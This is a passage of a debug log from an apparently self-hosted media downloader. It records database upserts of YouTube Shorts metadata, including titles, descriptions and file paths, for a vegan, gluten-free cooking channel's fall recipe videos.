("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out everything I eat in a day while testing all kinds of Fall recipes for the channel. I started my day with a pumpkin spice latte made from pumpkin nog, then had a pumpkin smoothie, followed by a quick burger and fries, and finally had a delicious Kabocha Dumpking Soup with Cornbread.\n\nIf you enjoy daily vegan and gluten free recipes then you've come to the right place and should subscribe to join the Steamy Vegan community! Thanks for watching!", "REALISTIC What I Eat in a Day 🍔 Fall Vegan Recipes", "846cf1a4-e7bc-4a8f-95cf-d4c954e1cbd2", 1, [], false, "m6EAtHY3w7o", "https://www.youtube.com/shorts/m6EAtHY3w7o", 111, "/downloads/downloads/alec/Steamy Vegan/2023-10-05 REALISTIC What I Eat in a Day 🍔 Fall Vegan Recipes/REALISTIC What I Eat in a Day 🍔 Fall Vegan Recipes [m6EAtHY3w7o].NA", false, false, true, 1, ~U[2023-10-05 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Check out everything I eat in a day while testing all kinds of Fall recipes for the channel. I started my day with a pumpkin spice latte made from pumpkin nog, then had a pumpkin smoothie, followed by a quick burger and fries, and finally had a delicious Kabocha Dumpking Soup with Cornbread.\n\nIf you enjoy daily vegan and gluten free recipes then you've come to the right place and should subscribe to join the Steamy Vegan community! Thanks for watching!", "REALISTIC What I Eat in a Day 🍔 Fall Vegan Recipes", 1, nil, false, "m6EAtHY3w7o", "https://www.youtube.com/shorts/m6EAtHY3w7o", "/downloads/downloads/alec/Steamy Vegan/2023-10-05 REALISTIC What I Eat in a Day 🍔 Fall Vegan Recipes/REALISTIC What I Eat in a Day 🍔 Fall Vegan Recipes [m6EAtHY3w7o].NA", true, ~U[2023-10-05 00:00:00Z]] 20:31:09.508 [debug] QUERY OK source="sources" db=0.5ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.510 [debug] QUERY OK source="media_items" db=1.9ms idle=13.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-03 00:00:00Z], 1] 20:31:09.512 [debug] QUERY OK source="media_items" db=1.5ms idle=15.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This homemade vegan pumpkin spice latte is way better and healthier then the Starbucks version. If you want to take it up a notch then also check out the linked video about making your own pumpkin puree. \n\nThanks for watching! Subscribe for more daily vegan and gluten free recipe content!", "Vegan PSL with PUMPKIN NOG ☕️", "d127850b-9f29-46cc-890b-c1af5f73df3f", 1, [], false, "bqb_pZA56mc", "https://www.youtube.com/shorts/bqb_pZA56mc", 112, "/downloads/downloads/alec/Steamy Vegan/2023-10-03 Vegan PSL with PUMPKIN NOG ☕️/Vegan PSL with PUMPKIN NOG ☕️ [bqb_pZA56mc].NA", false, false, true, 1, ~U[2023-10-03 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This homemade vegan pumpkin spice latte is way better and healthier then the Starbucks version. If you want to take it up a notch then also check out the linked video about making your own pumpkin puree. \n\nThanks for watching! Subscribe for more daily vegan and gluten free recipe content!", "Vegan PSL with PUMPKIN NOG ☕️", 1, nil, false, "bqb_pZA56mc", "https://www.youtube.com/shorts/bqb_pZA56mc", "/downloads/downloads/alec/Steamy Vegan/2023-10-03 Vegan PSL with PUMPKIN NOG ☕️/Vegan PSL with PUMPKIN NOG ☕️ [bqb_pZA56mc].NA", true, ~U[2023-10-03 00:00:00Z]] 20:31:09.513 [debug] QUERY OK source="sources" db=0.5ms idle=14.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.515 [debug] QUERY OK source="media_items" db=2.2ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-02 00:00:00Z], 1] 20:31:09.517 [debug] QUERY OK source="media_items" db=0.7ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We made 9 different homemade vegan and gluten free salad dressings way better then any store bought version. Check out the full vid for all 9 salad dressing recipes including: caesar, ranch powder, thousand island, catalina, green goddess, and our barbie dressing.", "Creamy Salad Dressing with a KICK 🦵🌶️", "4a8fbf65-d00c-4281-9711-cd644fc40a23", 1, [], 38, false, "SUMzlnQdD08", "https://www.youtube.com/shorts/SUMzlnQdD08", 113, "/downloads/downloads/alec/Steamy Vegan/2023-10-02 Creamy Salad Dressing with a KICK 🦵🌶️/Creamy Salad Dressing with a KICK 🦵🌶️ [SUMzlnQdD08].NA", false, false, true, 1, ~U[2023-10-02 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "We made 9 different homemade vegan and gluten free salad dressings way better then any store bought version. Check out the full vid for all 9 salad dressing recipes including: caesar, ranch powder, thousand island, catalina, green goddess, and our barbie dressing.", "Creamy Salad Dressing with a KICK 🦵🌶️", 1, 38, false, "SUMzlnQdD08", "https://www.youtube.com/shorts/SUMzlnQdD08", "/downloads/downloads/alec/Steamy Vegan/2023-10-02 Creamy Salad Dressing with a KICK 🦵🌶️/Creamy Salad Dressing with a KICK 🦵🌶️ [SUMzlnQdD08].NA", true, ~U[2023-10-02 00:00:00Z]] 20:31:09.517 [debug] QUERY OK source="sources" db=0.6ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.519 [debug] QUERY OK source="media_items" db=1.7ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-30 15:05:00Z], 1] 20:31:09.521 [debug] QUERY OK source="media_items" db=1.0ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free cornbread is the perfect Fall recipe. Check out the short 3 minute recipe video on the channel and subscribe if you enjoy vegan and gluten free recipes!", "Pumpkin Cornbread! 🎃 🌽 🍞 Vegan + Gluten-Free", "ab7ca1c0-9188-4803-98f5-210d4f62a7e4", 1, [], 13, false, "VZaNRc1q7RY", "https://www.youtube.com/shorts/VZaNRc1q7RY", 114, "/downloads/downloads/alec/Steamy Vegan/2023-09-30 Pumpkin Cornbread! 🎃 🌽 🍞 Vegan + Gluten-Free/Pumpkin Cornbread! 🎃 🌽 🍞 Vegan + Gluten-Free [VZaNRc1q7RY].NA", false, false, true, 1, ~U[2023-09-30 15:05:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan and gluten free cornbread is the perfect Fall recipe. Check out the short 3 minute recipe video on the channel and subscribe if you enjoy vegan and gluten free recipes!", "Pumpkin Cornbread! 🎃 🌽 🍞 Vegan + Gluten-Free", 1, 13, false, "VZaNRc1q7RY", "https://www.youtube.com/shorts/VZaNRc1q7RY", "/downloads/downloads/alec/Steamy Vegan/2023-09-30 Pumpkin Cornbread! 🎃 🌽 🍞 Vegan + Gluten-Free/Pumpkin Cornbread! 🎃 🌽 🍞 Vegan + Gluten-Free [VZaNRc1q7RY].NA", true, ~U[2023-09-30 15:05:00Z]] 20:31:09.522 [debug] QUERY OK source="sources" db=0.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.524 [debug] QUERY OK source="media_items" db=1.9ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-28 14:30:15Z], 1] 20:31:09.528 [debug] QUERY OK source="media_items" db=1.4ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's orange and it goes with everything, it's homemade pumpkin puree! You can use this homemade pumpkin puree in all your baked goods, lattes, soups and so much more. You'd want to make your own over store bought because it just tastes way better, is cheaper and is actually kind of fun to do.\n\nCheck out the full vid on the channel and all of my new Fall inspired recipes! Thanks for watching!", "The Great Pumpkin Purée 🎃", "7b46fbe2-cd1a-4186-9613-00f1920be1be", 1, [], 12, false, "n7SveVZJFGM", "https://www.youtube.com/shorts/n7SveVZJFGM", 115, "/downloads/downloads/alec/Steamy Vegan/2023-09-28 The Great Pumpkin Purée 🎃/The Great Pumpkin Purée 🎃 [n7SveVZJFGM].NA", false, false, true, 1, ~U[2023-09-28 14:30:15Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "It's orange and it goes with everything, it's homemade pumpkin puree! You can use this homemade pumpkin puree in all your baked goods, lattes, soups and so much more. You'd want to make your own over store bought because it just tastes way better, is cheaper and is actually kind of fun to do.\n\nCheck out the full vid on the channel and all of my new Fall inspired recipes! Thanks for watching!", "The Great Pumpkin Purée 🎃", 1, 12, false, "n7SveVZJFGM", "https://www.youtube.com/shorts/n7SveVZJFGM", "/downloads/downloads/alec/Steamy Vegan/2023-09-28 The Great Pumpkin Purée 🎃/The Great Pumpkin Purée 🎃 [n7SveVZJFGM].NA", true, ~U[2023-09-28 14:30:15Z]] 20:31:09.529 [debug] QUERY OK source="sources" db=1.0ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.532 [debug] QUERY OK source="media_items" db=2.1ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-26 14:07:00Z], 1] 20:31:09.532 [debug] QUERY OK source="media_items" db=0.5ms idle=9.8ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pumpkin Purée: Secret Weapon for Fall 🍂", "c8f1c8f8-5eb3-4a70-9109-2cb98e1f08a6", 1, [], 16, false, "lxxRnch-YHg", "https://www.youtube.com/shorts/lxxRnch-YHg", 116, "/downloads/downloads/alec/Steamy Vegan/2023-09-26 Pumpkin Purée: Secret Weapon for Fall 🍂/Pumpkin Purée: Secret Weapon for Fall 🍂 [lxxRnch-YHg].NA", false, false, true, 1, ~U[2023-09-26 14:07:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Pumpkin Purée: Secret Weapon for Fall 🍂", 1, 16, false, "lxxRnch-YHg", "https://www.youtube.com/shorts/lxxRnch-YHg", "/downloads/downloads/alec/Steamy Vegan/2023-09-26 Pumpkin Purée: Secret Weapon for Fall 🍂/Pumpkin Purée: Secret Weapon for Fall 🍂 [lxxRnch-YHg].NA", true, ~U[2023-09-26 14:07:00Z]] 20:31:09.533 [debug] QUERY OK source="sources" db=0.5ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.535 [debug] QUERY OK source="media_items" db=1.6ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-25 21:03:00Z], 1] 20:31:09.536 [debug] QUERY OK source="media_items" db=0.6ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We made 3 dollar store meals with only $22 US and each vegan recipe serves 4 people. Check out the full video live on the channel to see all the recipes and what we bought during our dollar store grocery haul.\n\nThanks for watching!", "Dollar Store Meals: Chickpea Red Curry 🍛", "f2a64f5d-9a7e-4c43-9682-f89b5ce7415c", 1, [], 32, false, "FB__TDbarpE", "https://www.youtube.com/shorts/FB__TDbarpE", 117, "/downloads/downloads/alec/Steamy Vegan/2023-09-25 Dollar Store Meals: Chickpea Red Curry 🍛/Dollar Store Meals: Chickpea Red Curry 🍛 [FB__TDbarpE].NA", false, false, true, 1, ~U[2023-09-25 21:03:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "We made 3 dollar store meals with only $22 US and each vegan recipe serves 4 people. Check out the full video live on the channel to see all the recipes and what we bought during our dollar store grocery haul.\n\nThanks for watching!", "Dollar Store Meals: Chickpea Red Curry 🍛", 1, 32, false, "FB__TDbarpE", "https://www.youtube.com/shorts/FB__TDbarpE", "/downloads/downloads/alec/Steamy Vegan/2023-09-25 Dollar Store Meals: Chickpea Red Curry 🍛/Dollar Store Meals: Chickpea Red Curry 🍛 [FB__TDbarpE].NA", true, ~U[2023-09-25 21:03:00Z]] 20:31:09.537 [debug] QUERY OK source="sources" db=0.8ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.539 [debug] QUERY OK source="media_items" db=1.6ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-23 16:00:39Z], 1] 20:31:09.540 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Dollar Store Meals: Garlic Noodle Stir Fry 🥣", "283962d3-cd45-446d-b1a7-a87d7bf3938e", 1, [], 42, false, "ksXyyzJwTzw", "https://www.youtube.com/shorts/ksXyyzJwTzw", 118, "/downloads/downloads/alec/Steamy Vegan/2023-09-23 Dollar Store Meals: Garlic Noodle Stir Fry 🥣/Dollar Store Meals: Garlic Noodle Stir Fry 🥣 [ksXyyzJwTzw].NA", false, false, true, 1, ~U[2023-09-23 16:00:39Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Dollar Store Meals: Garlic Noodle Stir Fry 🥣", 1, 42, false, "ksXyyzJwTzw", "https://www.youtube.com/shorts/ksXyyzJwTzw", "/downloads/downloads/alec/Steamy Vegan/2023-09-23 Dollar Store Meals: Garlic Noodle Stir Fry 🥣/Dollar Store Meals: Garlic Noodle Stir Fry 🥣 [ksXyyzJwTzw].NA", true, ~U[2023-09-23 16:00:39Z]] 20:31:09.542 [debug] QUERY OK source="sources" db=1.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.544 [debug] QUERY OK source="media_items" db=2.0ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-22 16:16:00Z], 1] 20:31:09.545 [debug] QUERY OK source="media_items" db=0.7ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We did a dollar store grocery haul with just $30 Canadian and made 3 large vegan recipes with all the ingredients. Each meal serves 4 people and this black bean chili ended up being a really cheap vegan meal coming in at only $2 per serving. Yes, I know it's a pretty easy vegan recipe but it's a great one for when you're feeling lazy and just want a dump and cook recipe.\n\nHope you enjoyed this, check out the full recipe video for all 3 dollar store meals we made!", "$2 Vegan Meals: black bean Chili 🌶️ 🥵", "0e4429da-cc17-4e64-96f0-60a27ba972f0", 1, [], 31, false, "AvSnViYyfVU", "https://www.youtube.com/shorts/AvSnViYyfVU", 119, "/downloads/downloads/alec/Steamy Vegan/2023-09-22 $2 Vegan Meals: black bean Chili 🌶️ 🥵/$2 Vegan Meals: black bean Chili 🌶️ 🥵 [AvSnViYyfVU].NA", false, false, true, 1, ~U[2023-09-22 16:16:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "We did a dollar store grocery haul with just $30 Canadian and made 3 large vegan recipes with all the ingredients. Each meal serves 4 people and this black bean chili ended up being a really cheap vegan meal coming in at only $2 per serving. Yes, I know it's a pretty easy vegan recipe but it's a great one for when you're feeling lazy and just want a dump and cook recipe.\n\nHope you enjoyed this, check out the full recipe video for all 3 dollar store meals we made!", "$2 Vegan Meals: black bean Chili 🌶️ 🥵", 1, 31, false, "AvSnViYyfVU", "https://www.youtube.com/shorts/AvSnViYyfVU", "/downloads/downloads/alec/Steamy Vegan/2023-09-22 $2 Vegan Meals: black bean Chili 🌶️ 🥵/$2 Vegan Meals: black bean Chili 🌶️ 🥵 [AvSnViYyfVU].NA", true, ~U[2023-09-22 16:16:00Z]] 20:31:09.546 [debug] QUERY OK source="sources" db=0.9ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.548 [debug] QUERY OK source="media_items" db=1.6ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-21 17:00:36Z], 1] 20:31:09.550 [debug] QUERY OK source="media_items" db=0.5ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out what I eat in a week on a vegan and gluten free diet. For more what i eat in a day type videos make sure to subscribe and check out the full playlist on the channel.\n\nThanks for watching!", "What I Eat in a Week as a Vegan + GF", "014483bc-7103-4d8a-9c29-48e7b41aa471", 1, [], 32, false, "p_bzakZlVII", "https://www.youtube.com/shorts/p_bzakZlVII", 120, "/downloads/downloads/alec/Steamy Vegan/2023-09-21 What I Eat in a Week as a Vegan + GF/What I Eat in a Week as a Vegan + GF [p_bzakZlVII].NA", false, false, true, 1, ~U[2023-09-21 17:00:36Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Check out what I eat in a week on a vegan and gluten free diet. For more what i eat in a day type videos make sure to subscribe and check out the full playlist on the channel.\n\nThanks for watching!", "What I Eat in a Week as a Vegan + GF", 1, 32, false, "p_bzakZlVII", "https://www.youtube.com/shorts/p_bzakZlVII", "/downloads/downloads/alec/Steamy Vegan/2023-09-21 What I Eat in a Week as a Vegan + GF/What I Eat in a Week as a Vegan + GF [p_bzakZlVII].NA", true, ~U[2023-09-21 17:00:36Z]] 20:31:09.551 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.553 [debug] QUERY OK source="media_items" db=1.8ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-19 17:00:09Z], 1] 20:31:09.554 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My vegan caesar salad recipe is the best one out there. This vegan and gluten free salad dressing recipe goes perfect with vegan wings, salads, bowls, and wraps.\n\nSubscribe and check out all 9 homemade vegan dressings I made! 